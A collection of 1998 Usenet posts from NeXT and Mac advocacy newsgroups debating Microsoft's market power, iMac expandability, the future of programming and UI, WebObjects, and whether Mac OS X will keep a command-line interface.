From: Michael Peck <mjpeck@nstar.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 02 Jul 1998 09:01:31 -0500
Organization: ISPNews http://ispnews.com
Message-ID: <359B92BB.8BCF78CC@nstar.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net>
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NNTP-Posting-Date: 2 Jul 1998 14:06:37 GMT
To: Joe Ragosta <joe.ragosta@dol.net>
Joe Ragosta wrote:
> What difference does it make which word processor he used?
I think that the idea is that the Doctor:
1) Doesn't use Microsoft products; therefore he or someone else paid
money for an alternative
2) Is exercising his right to a free market by freely choosing a
competitor to Microsoft
3) Is using software he or someone else believes is superior to
Microsoft's own
4) Has a sense of humor
> His statement was pure, unadulterated bull. The software (or computer or
> printer or paper) he used to write it is meaningless.
This statement doesn't demonstrate that you've put a lot of thought into
the issue. Those of us on the other side of the argument wish that you'd
at least give some serious thought to your position. I mean no offense
when I say that your position seems to be the intellectually lazy (and
politically convenient) one.
MJP
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Games and the consumer market.
Date: Thu, 02 Jul 1998 18:45:25 -0700
Message-ID: <see-below-0207981845250001@dynamic16.pm07.mv.best.com>
References: <see-below-2706980601240001@dynamic5.pm04.mv.best.com> <B1BA74A7-1BBBC@206.165.43.101> <see-below-2706981947260001@dynamic22.pm01.mv.best.com> <3595DD89.55EAD2AD@nstar.net> <slrn6pij50.rei.sal@panix3.panix.com> <35996BC8.2869@exu.ericsson.se> <slrn6pj7r8.4ij.sal@panix3.panix.com> <3599AE58.5E54D75E@nstar.net> <slrn6pnb5s.agd.sal@panix3.panix.com> <359BB6E5.C244275F@exu.ericsson.se> <slrn6pnqnc.dci.sal@panix3.panix.com>
In article <slrn6pnqnc.dci.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Thu, 02 Jul 1998 11:35:50 -0500, Michael Peck
<eusmpec@exu.ericsson.se> wrote:
> >Many LC buyers were later regretful of their decision to buy a
> >non-expandable machine:
>
> Then they bought the wrong machine. I know plenty of people that regret
> buying a desktop rather than a laptop. I don't see that as being an
> argument for all desktops having to be portable.
>
> Rather than trying to build something that is all things to all users,
> Apple should be building things that have a clear use for a well defined
> market.
I guess I just don't understand how having an expansion slot would make it
less suitable for some users, or how it would boost the price
significantly.
I don't think it's time yet for non-expandable computers--how do you know
that you'll _never_ want to expand it, especially if you've never bought a
computer before? And I certainly don't think that $1300 is the price point
for one. Maybe $300. I'm not saying the iMac is a bad idea generally, or
that it's going to fail in the marketplace. I just think it would be
significantly better for a large number of buyers if it had just one PCI
slot. And those that don't need it will probably never know it's there.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 29 Jun 98 13:43:08
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun29134308@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com>
<billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6mo6mo$4nm$1@camel15.mindspring.com> <6mnq09$3vn$1@ns3.vrx.net>
<6muv02$49a$1@nnrp1.dejanews.com> <6mvtcj$hnm$2@ns3.vrx.net>
In-reply-to: maury@remove_this.istar.ca's message of 26 Jun 1998 10:32:51 GMT
In article <6mvtcj$hnm$2@ns3.vrx.net>,
maury@remove_this.istar.ca (Maury Markowitz) writes:
In <6muv02$49a$1@nnrp1.dejanews.com> syann@en.com claimed:
> we havn't seen a gui innovation for 10 years from apple.
I think the next change that people will actually notice will be
voice command and dictation that actually works. Apple should have
been the first here, but they won't be. I also firmly believe that
we're lost our way towards agents, which I think are very
important.
A couple weeks ago, I was discussing UI with some colleagues.
Scrollbars were mentioned as one of those UI elements which is obvious
once you understand it, but also annoying in some ways. I made the
suggestion that scrollbars are actually a means of letting you work
with regulation sized documents on tiny monitors.
Think about it. You don't use anything remotely like scrollbars in
real life. If the first monitors were 30" on the diagonal, we very
well might have never seen scrollbars.
That said, I think the next UI revolution will revolve around a light
version of virtual reality. Right now, working with computers is like
working with your desk in the space of an airline tray. "Just like a
real desktop". Well, why not make it so it _is_ a real desktop? But
a portable one.
As for voice control - unless they make it subvocal, IMHO it's a
non-flyer,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 98 23:07:51
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul2230751@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de>
<6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com>
<6mtgg8$sts$1@nnrp1.dejanews.com>
<SCOTT.98Jun29132022@slave.doubleu.com>
<6n90m7$8b4$2@lwnws01.ne.highway1.com>
<SCOTT.98Jul2225157@slave.doubleu.com>
In-reply-to: scott@doubleu.com's message of 2 Jul 98 22:51:57
In article <SCOTT.98Jul2225157@slave.doubleu.com>,
scott@doubleu.com (Scott Hess) writes:
I very much expect we'll reach a point in the future where the
"problem solving" that I do will be the end of it. I'll take the
problem from a client, specify the problem to a suitable level of
precision, and the computer will execute that specification itself.
Clarification - here I'm thinking something like CASE tools want to
be. The tool used to specify the solution will either directly
execute the solution or compile it or somesuch. Probably execute it
directly (as I want the tool to help find the _obvious_ flaws in my
reasoning :-). So there won't be a disjunction where I stop solving
problems and start entering the solution into the computer.
Hmm. And that gives another viewpoint onto the problem of "letting
non-programmers program". I can posit a system which goes much
further than current error messages and warnings - a system which not
only tells me about gross coding errors, but also tells me about logic
errors in how modules interact. So, in theory, you wouldn't even have
to have an internalized understanding on how things fit together -
yet, you'd still require the ability to think it through. The
computer can just tell you what's wrong, it can't tell you what the
correct way to address the wrongness is!
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 98 22:51:57
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul2225157@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <6mras5$s2v$1@sun27.hrz.tu-darmstadt.de>
<6mrbql$q7m@newsb.netnews.att.com> <35917C62.E3038D26@trilithon.com>
<6mtgg8$sts$1@nnrp1.dejanews.com>
<SCOTT.98Jun29132022@slave.doubleu.com>
<6n90m7$8b4$2@lwnws01.ne.highway1.com>
In-reply-to: John Kheit's message of 29 Jun 1998 21:24:23 GMT
In article <6n90m7$8b4$2@lwnws01.ne.highway1.com>,
John Kheit <jkheit@mediaone.net> writes:
scott@doubleu.com (Scott Hess) wrote:
> That last line is the important part. I see my job as a
> programmer _not_ as coding, but as finding the hidden assumptions
> in the functional application requirements.
That's interesting. See, you're a problem solver more than a
programmer. At a certain point programming will become less
important than the problem solving.
No. NO. __NO__.
I very much expect we'll reach a point in the future where the
"problem solving" that I do will be the end of it. I'll take the
problem from a client, specify the problem to a suitable level of
precision, and the computer will execute that specification itself.
"Coding", which is what I think you're referring to, is already a
relatively small part of most successful projects. IMHO, WRITING CODE
IS NOT PROGRAMMING. Right now, though, writing code _is_ an essential
part of programming,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 98 22:38:20
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul2223820@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com>
<billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <SCOTT.98Jun29125823@slave.doubleu.com>
<6n8vma$8b4$1@lwnws01.ne.highway1.com>
In-reply-to: John Kheit's message of 29 Jun 1998 21:07:22 GMT
In article <6n8vma$8b4$1@lwnws01.ne.highway1.com>,
John Kheit <jkheit@mediaone.net> writes:
scott@doubleu.com (Scott Hess) wrote:
> This type of debate always gets my juices flowing. Most people
> don't expect to be able to write their own popular music, or
> build their own houses, or remove their own appendix. Do they?
This is a question of degree. Does *everyone*? No. Do some?
Yes. So this ability allows many who previously were barred for
one reason or another to practice and do what they earlier were not
able.
Hmm, well, the thread itself strongly implied "anyone" should be able
to program. If the hurdle is only anyone who is interested in the
field - well, we're already there.
> In article <35911d96.0@206.25.228.5>,
> John Kheit <jkheit@xtdl.com> writes:
> You're right, it is very American. Thank god. It's called
> progress. Heart transplants are much easier today than early
> on. Now they're easier. This progress and refinement allows
> for further progress and refinement.
> Heart transplants are "easy" for "persons skilled in the craft".
> Heart transplants will _never_ be easy for people who aren't
> surgeons, and they will in fact never be easy for the general
> run of surgeons. They'll just be less hard.
Never say never. I gave an example of what people with pacemakers
now do over the phone, which was once the domain of a surgeon
performing invasive surgery. Weird things have a way of happening.
Yet my point was that instead of finding a way to let "anyone" do the
operation that previously was being done by an expert, instead they
found a way to get the same results without requiring the original
operation. Instead of making the end-user a surgeon, they removed the
need for a surgeon from the problem.
> Once we master yesterday's difficult tasks, that frees our
> bonds so we may tackle tommorrows difficult tasks. That's why
> we should make things easy.
> Writing is still damned hard. It's _printing_ that's easy.
> Execution of programs hasn't been a problem for many years, now,
> we all have more than enough computer time to execute as many
> trial runs as we need.
Ok, before typewriters and printed books, how many could read and
write? Many fewer.
I know this is a tangent, but perhaps a more pertinent point for the
thread is this: after typewriters and printed books, how many people
could build a typewriter or bind a book? Very few.
[I'm comparing a typer to an app user, here. Ability to type has no
bearing on "authoring" a typewriter.]
> Today, a relative monkey can code computer stuff as compared
> in the 60's.
> More specifically, there are a lot of low-level jobs available
> arranging parts. A "relative monkey" can fit together a couple
> data-definition objects and a data-display object and give you a
> fun little database access app. That's not programming, anymore
> than mixing the ingredients on the side of the box is baking, or
> applying the appropriate paints to the numbered regions is
> painting.
Yes it is programming. It's what really sophisticated people were
paid a lot of money for, and worked very hard to produce in the
60's. Now a monkey can do it.
My point is, exactly, that what the "relative monkeys" are doing today
is _not_ at all what the experts were doing in the 60's. The experts
in the 60's weren't writing database access apps - they were writing
databases. Now we're to the point where we can abstract out "database
system" from apps using the database - but we still have people who
write database systems, and code monkeys do not write database
systems.
> But there's always going to be that hard core. At some level,
> you can't build an operating system using a GUI toolkit. You
> have to bootstrap somewhere.
Again, never say never. There will always be some new frontier, I
agree. But what is now considered sophisticated may well be a
piece of cake in the future. That is how things have been in the
past, and likely how they will progress.
_Regardless_ of how beautiful and sophisticated the top layer is THERE
MUST BE A LAYER BELOW IT! I'm not saying "I think there would be a
layer below it." I'm saying that interfaces do not exist in a vacuum,
they do not spontaneously form out of the ether. They are built.
> We, as an industry, will _never_ get away from the need for that
> function. We'll always need the person who can come in after the
> mess has been created, see through to the core problem, and
> charge $5k to whack the correct pipe with the correct force with
> the correct hammer.
That's advice and knowledge being sold. It's a bit different than
saying programming will always be difficult.
I'm making a distinction, here. I'm suggesting that programming is
not defined as "solving a problem", but as "solving a problem with
insight". These domains are as arithmetic to mathematics. Being able
to tally your grocery bill doesn't require a mathematician. But
understanding the relationships between the costs of the items on the
bill might. [I know, that's a stretch.]
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Academic ratings applied to computer field over last 10 to 20 years
Date: 2 Jul 98 22:45:56
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jul2224556@slave.doubleu.com>
References: <6mmfdv$5l4$1@nnrp1.dejanews.com>
<billa-2206981913080001@archbald-96.slip.uiuc.edu>
<6moqam$4os$1@nnrp1.dejanews.com> <6mp7vo$nk@ragnarok.en.uunet.de>
<35911d96.0@206.25.228.5> <SCOTT.98Jun29125823@slave.doubleu.com>
<6n8vma$8b4$1@lwnws01.ne.highway1.com>
<slrn6pihqq.rei.sal@panix3.panix.com>
<6nc44r$aqu$2@lwnws01.ne.highway1.com>
<6nd3dl$d2h$1@sun27.hrz.tu-darmstadt.de>
In-reply-to: Christian Neuss's message of 1 Jul 1998 10:35:33 GMT
In article <6nd3dl$d2h$1@sun27.hrz.tu-darmstadt.de>,
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> writes:
Nobody forces me do read a Web page, that's true. However,
popularity of the Web and the Internet in general has affected -
actually, I'm tempted to say "poisoned" - other communities as
well. For instance, USENET used to be a valuable source of
information. It used to be a friendly place. There's way too much
vinegar around these days, and I'd rather do without that, Thank
You Very Much Sir.
USENET used to be even more than that - it used to be a technocratic
club, with membership restricted only by your ability to join. In
other words, if you didn't understand how to join, or weren't close
friends with someone who did understand, you couldn't get into the
clubhouse. To a great degree, it self-policed. Regardless of whether
you _liked_ the other guy, you could at least usually trust that he
had something on the ball (and thus was worth talking to).
Of course, that's been so long ago that I'm not sure if you're talking
about then, or later. At that time, I (at least) participated in
USENET for the same reason others went to science fiction conventions
- it wasn't so much whether it was useful, it's whether it was
_interesting_.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
From: scott@doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Selling WO is hard work (was: Re: Next purchase a mistake)
Date: 29 Jun 98 13:47:45
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Jun29134745@slave.doubleu.com>
References: <6mkd25$8c44@odie.mcleod.net> <6mmd18$d2e@newsb.netnews.att.com>
<6mmhb7$eos$1@news.digifix.com> <slrn6ou6aj.h67.sal@panix3.panix.com>
<rmcassid-2206982325590001@dialin9231.slip.uci.edu>
<358FF7FC.2C9034DB@alum.mit.edu>
<atlauren-2306981958020001@jungleland.acs.uci.edu>
<6mrvth$1q0@ragnarok.en.uunet.de> <3591EFF8.36B913CA@nstar.net>
<6mt78i$ed3$3@leonie.object-factory.com>
In-reply-to: holger@object-factory.REMOVETHIS.com's message of 25 Jun 1998 10:02:58 GMT
In article <6mt78i$ed3$3@leonie.object-factory.com>,
holger@object-factory.REMOVETHIS.com (Holger Hoffstaette) writes:
Michael Peck wrote:
> (pricing too high)
> I think that there is a lesson in this. Call the market stupid,
> but don't call it wrong. If people aren't buying, your product
> isn't valuable at its price point.
What makes you think WebObjects *must* be for everybody? Besides,
people *are* buying. It's just not 'the Macintosh faithful'. It's
people who need real-world solutions to their *very real*
information distribution problems.
But why _not_ apply WebObjects to problems that ASP can solve?
Microsoft is going to work it the other way - they'll convince the low
end, and then migrate to the high-end, compromising all the way.
Resulting in a crappy solution for all. Why not start at the high end
and migrate towards the low end? They can't just stake out their
niche and expect that it will still be available in five years. If
you don't actively grow, you're going to be left behind.
That said, WOF is not going to be a "good" solution for most low-end
projects, if only because it requires an upfront investment in
thinking the project through. That investment rewards you on a mid to
high end project, but on the very low end it really doesn't make a
difference...
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Date: Thu, 02 Jul 1998 11:53:30 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Message-ID: <joe.ragosta-0207981153310001@wil55.dol.net>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net>
In article <359B92BB.8BCF78CC@nstar.net>, Michael Peck <mjpeck@nstar.net> wrote:
> Joe Ragosta wrote:
>
> > What difference does it make which word processor he used?
>
> I think that the idea is that the Doctor:
>
> 1) Doesn't use Microsoft products; therefore he or someone else paid
> money for an alternative
So? How does that affect that fact that his statement was bullshit?
> 2) Is exercising his right to a free market by freely choosing a
> competitor to Microsoft
So? How does that affect that fact that his statement was bullshit?
> 3) Is using software he or someone else believes is superior to
> Microsoft's own
So? How does that affect that fact that his statement was bullshit?
> 4) Has a sense of humor
Possibly, but then you've got a case of the press taking his comments
completely out of context. If this were the case, you'd think he'd have
spoken up.
>
> > His statement was pure, unadulterated bull. The software (or computer or
> > printer or paper) he used to write it is meaningless.
>
> This statement doesn't demonstrate that you've put a lot of thought into
> the issue. Those of us on the other side of the argument wish that you'd
> at least give some serious thought to your position. I mean no offense
> when I say that your position seems to be the intellectually lazy (and
> politically convenient) one.
Let's see. The guy makes an absurd statement that can't be supported by
any facts. His argument is outright wrong.
Someone says "so what--he used Word Perfect to write the memo".
I pointed out that the tool he used is irrelevant and has absolutely no
bearing on the value of what he wrote.
You jump all over me of being intellectually lazy?????? Are you really
that stupid or is it an act?
WHAT THE GUY SAID is important. What program he used to say it is
completely, totally, absolutely irrelevant.
--
Regards,
Joe Ragosta
http://www.dol.net/~Ragosta/complmac.htm
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: Thu, 02 Jul 1998 11:37:06 -0500
Organization: Ericsson North America Inc.
Message-ID: <359BB732.66127BE@exu.ericsson.se>
References: <359AA759.223E97B4@exu.ericsson.se> <6neblu$2hd@shelob.afs.com> <359B23CC.8672B274@trilithon.com> <joe.ragosta-0207980828430001@wil46.dol.net> <359B92BB.8BCF78CC@nstar.net> <joe.ragosta-0207981153310001@wil55.dol.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Joe Ragosta wrote:
> > 4) Has a sense of humor
>
> Possibly, but then you've got a case of the press taking his comments
> completely out of context. If this were the case, you'd think he'd have
> spoken up.
Quick question: have you actually emailed Dr. Mankiw personally?
MJP
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
Date: 2 Jul 1998 16:23:39 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ngc6b$aqe$1@lwnws01.ne.highway1.com>
References: <359B21AB.E6A26F64@nstar.net> <6ng7u6$78p@shelob.afs.com>
Greg_Anderson@afs.com (Gregory H. Anderson) wrote:
> You might be surprised to learn that I majored in international
I am, I am. Very cool. :)
> With that in mind, all I can say is that when venture capitalists
> won't give money to a company with a great idea because "we're
> afraid Microsoft will be coming into this space next," (and no,
> this hasn't happened to me personally), it demonstrates an
> unhealthy concentration of power that serves to restrict choice,
> rather than enhance it. When a company with an effective monopoly
> in one market unfairly uses that power to extend its monopoly
> into another market, that action restricts choice. That is not
> good for producers OR consumers.
> I'll leave with this final thought -- classical economics attempts
> to describe a largely physical economy of manufacturers. It was
> never very good at explaining how "professionals" (lawyers and
> doctors) set their prices and established their business
> organizations. The information economy runs much more along those
> lines, and I think there are literally 100s of PhD's waiting to
> be written about this transformation, and the new rules for
> managing in such an economy.
I'm really into this topic. I wonder what your opinion on this
fundamental paradox is: If we let the market go without any control
eventually there will be a Rockefeller or Gates that will be able
to dictate how industries are run, perhaps to the point where the
entire country is run by a family like in some latin american
nations; or if we give the government too much control then they
may well stunt innovation and creativity by dictating what companies
and people may or may not do. I have no idea what the ideal is,
and neither do the courts as they oscillate back and forth from one
extreme to the other depending on the decade. You *seem* to have
a Jeffersonian slant on your politic in this regard in that you
seem to be on the side of "small business and worthy men." That's
a kind of system that might limit the size of big business, which
may be great for "small business and worthy men" and allow for
their innovation, but I wonder how this plays out on the international
stage? If we don't have big boys to compete with other big foreign
MNCs (in some cases mere masks for entire governments), then I
wonder if we would not be doomed in our domestic economics through
the ramifications of losing out in the foreign arena.
Well I dunno, but I'd love to hear your thoughts on this, from a general
industry or even just a software sector perspective.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@mediaone.net
Telepathy, It's coming... http://people.ne.mediaone.net/jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: Bill Bumgarner <bbum@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: Thu, 2 Jul 1998 12:32:53 -0400
Organization: Spacelab.net Internet Access
Message-ID: <Pine.NXT.3.96.980702123025.6336K-100000@pathos>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl><trev-3006981959000001@nas-p5.usc.net> <6ndho2$1n7@nntp02.primenet.com> <trev-0107981311460001@nas-p4.usc.net> <6ng49t$lra@nntp02.primenet.com>
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To: John Jensen <jjens@primenet.com>
In-Reply-To: <6ng49t$lra@nntp02.primenet.com>
On 2 Jul 1998, John Jensen wrote:
> Trevor Zion Bauknight <trev@sc.edu> wrote:
> : It's a BSD core on a Mach kernel...
>
> BSD uses a CLI to run its boot scripts. If the CLI has really been
> removed (and not just terminal.app), then how will this BSD run its init
> rc scripts? If there are no rc scripts, will you call it UNIX?
no, actually, it doesn't.... it uses /bin/sh to interpret a set of
scripts.
A command line interface is just that-- an interface that you type
commands at to make the computer do stuff.
That's it.
Saying there is no CLI does NOT say there won't be a command
interpreter... it only implies that there won't be an interactive shell.
But even that is bull-- because there will be: AppleScript. Tis trivial
to type at a window and make something interpret whatever you typed as
'script... i.e. there will be a CLI.
Not having a CLI does not mean not having gcc, ld, mv, cp,
yaddayddayadda... it just changes the ways of getting to 'em.
b.bum
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 17:36:35 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6nggf3$cu6$1@news.spacelab.net>
References: <6n6a2e$21s$1@news.cmc.net> <aman-2806981502540001@scz-ca9-03.ix.netcom.com> <35975ac6.0@nnrp1.news.uk.psi.net> <6n8s70$shg@nntp02.primenet.com> <slrn6pfu1h.136.jason@jhste1.dyn.ml.org> <6n9aa2$hna$1@nnrp1.dejanews.com> <slrn6pgn1j.2ct.jason@jhste1.dyn.ml.org> <6na8r5$4jl$1@nnrp1.dejanews.com> <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de> <6nbf6s$p94$1@nnrp1.dejanews.com>
quinlan@intergate.bc.ca wrote:
>In article <1dbfu8k.16yk2rd15rhjcwN@rhrz-isdn3-p40.rhrz.uni-bonn.de>,
> schuerig@acm.org (Michael Schuerig) wrote:
>> Think of OpenUp -- would it have been possible without
>> a standard Unix installation in the basement?
>
> I don't know that basement won't be present. The shell should have nothing
> to do with the installed utilities and the implementation of system(...)
> or whatever OpenUp uses.
OpenUp depends on the presense of standard utilities like gzip and gnutar.
Sure, OpenUp could come with those binaries wrapped inside it's app wrapper,
but what happens when some other program wants to compress the files it works
with?
Should that program also come with those two utilities? You end up with the
sad situation found under Windows, where most productivity apps try to
install common VB runtime DLL's, most games try to install DirectX, etc.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New OS Graphics Idea
Date: 2 Jul 1998 17:41:01 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6nggnd$cu6$4@news.spacelab.net>
References: <1dbgbrs.fq93gp1gfaaubN@quern.demon.co.uk> <1998070117211600.NAA21713@ladder03.news.aol.com> <6ndtlc$gs3$3@cronkite.cygnus.com>
jrudd@cygnus.com (John Rudd) wrote:
[ ... ]
>My specific suggestion was to have any directory that contains a ".wrapper"
>file be treated as a single object/file by the GUI. The .wrapper file would
>then contain meta-information (akin to the headers in the mach-o file
>format.. you could have a line like "ICON=blah.tiff", where blah.tiff is a
>file under that directory.
Okay...so far, so good.
> If it was generalized propperly, you could do a lot of really cool things.
>
> The drawback to my specific suggestion is that the GUI has to open the
> directory to find out if it is a folder or a wrapper. That means an extra
> file system operation for every directory in your current directory, and
> that can get cumbersome.
You could optimize this at either the filesystem level by adding an attribute
bit to flag directories which are wrappers, or at the system library level by
special-casing the directory lookup/create a new file or directory code to
place .wrapper first in the listing of directory entries.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple: No CLI in Mac OS X
Date: 2 Jul 1998 17:40:12 GMT
Organization: Spacelab.net Internet Access
Message-ID: <6nggls$cu6$2@news.spacelab.net>
References: <6n6a2e$21s$1@news.cmc.net> <trev-2906981959200001@nas-p1.usc.net> <6na31a$mt9$1@news.tuwien.ac.at> <rex-3006980851470001@cc497300-a.wlgrv1.pa.home.com> <slrn6phs4i.8t0.mark@sapphire.oaai.com> <EvDxGy.GIC@basil.icce.dev.rug.null.nl> <Pine.NXT.3.96.980630214141.1372C-100000@pathos>
Bill Bumgarner <bbum@codefab.com> wrote:
>There is actually very little that a command line buys you that cannot be
>very easily duplicated with a minimal amount of effort using AppleScript,
>Perl, Tcl, Python or any of the myriad of other scripting languages out
>there.
There's the obvious difference between immediate and deferred execution.
While scripting languages are fine and dandy for some problem domains, they
are not a replacement for the interactive shell.
Quick-- you've got a server that's not booting all the way into multiuser
mode, and you've got to do some work to fix it. Having to fire up an editor
and write a script to fix the problem would completely lose compared to an
immediate mode shell.
And, of course, if your scripting language requires the GUI (can you run
AppleScript without the Finder?), or /usr/local isn't mounted so you can't
run /usr/local/bin/perl (or tclsh, or whatever), you're SOL.
>The only requirement for running 'make' is that you can pass a single
>argument to it being the target you want to make... with three arguments,
>you can also specify the makefile to use. Technically, it doesn't even
>need a target.
No, but make does require a context-- such as the working directory to look
for the makefile to run. Depending on the contents of that makefile, it
might well want to use some environment variables as well.
I don't find NT's method of handling the environment to be especially
graceful. Nor is doing a bunch of putenv equivalents, or building the envp
argument to execve programmaticly.
[ ... ]
>The fact that sendmail, make, gcc, the linker, wc, du, df, cp, mv, rm,
>blech, yaddayaddayaddayadda, take arguments, consume input and output and
>can be affected by environment variables HAS NOTHING TO DO WITH A COMMAND
>LINE.
Absolutely.
By the same token, the command line works better than anything else around to
assemble pipelines of those commands, redirect stdin/stdout/stderr to various
useful places, and so forth.
Unless you believe that something like the GUI pipeline system from AU/X is a
better mousetrap?
>The CLI is merely a convenient-- thought antiquated-- way of dealing with
>these programs.
I agree, if you want to use the word antiquated in the sense of "been around
for quite a while, is well understood, and well optimized for a range of
commonly performed tasks".
For an analogy, the printed page is merely a convenient-- though antiquated--
way of recording text and images. It's been highly functional since
Gutenberg's printing press, and for all that electronic media has provided
new means of displaying that content, I don't notice the printed page being
any less useful (or used) today.
>Geez. It's as if people feel Apple is doing away with the filesystem,
>NSTask and the ability to launch external programs! Mac OS X will be a
>posix compliant beast running on a Mach kernel-- posix clients includes
>neat little things like fork() and execve(). In other words, it includes
>the ability to execute external commands.
One can only hope that Apple actually manages to deliver a working IEEE
1003.1-compliant POSIX environment. Previous experiences with NeXT's attempt
to deliver POSIX has left me concerned.
>If apple takes away the CLI-- takes away the ability to telnet to a
>machine and interact with it at that level-- what will replace that
>functionality or do we do without???
Excellent question...I hope that Apple succeeds in producing a highly
functional environment, because I don't enjoy dealing with Windows NT any
more than I have to.
My concern is that Apple appears to be making the same near-fatal mistakes
that NeXT made. You don't throw away your currently working mousetrap until
_after_ your new mousetrap is in place, can be shown to provide a better
solution, and has enough critical mass to survive.
Rhapsody hasn't even shipped, yet it's already regarded as being
end-of-life'd. Not good.
-Chuck
Charles Swiger | chuck@codefab.com | standard disclaimer
---------------+-------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft Delays Win NT
